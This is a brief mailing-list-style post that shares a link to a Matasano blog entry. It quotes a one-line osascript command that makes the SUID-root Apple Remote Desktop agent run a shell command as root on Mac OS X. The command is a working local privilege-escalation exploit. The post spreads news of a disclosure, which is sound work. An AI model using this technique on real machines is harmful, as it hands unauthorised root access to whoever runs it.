Hi!

Just in case somebody missed it:

http://www.matasano.com/log/1069/apple-ships-suids-with-applescript-dictionaries-hilarity-ensues/

"Got a Mac? Pull up a Terminal and type

osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
Yep, you’re root. ARDAgent is the Apple Remote Desktop agent
application. It’s SUID root —- it runs as the superuser, not your user."

/Dennis
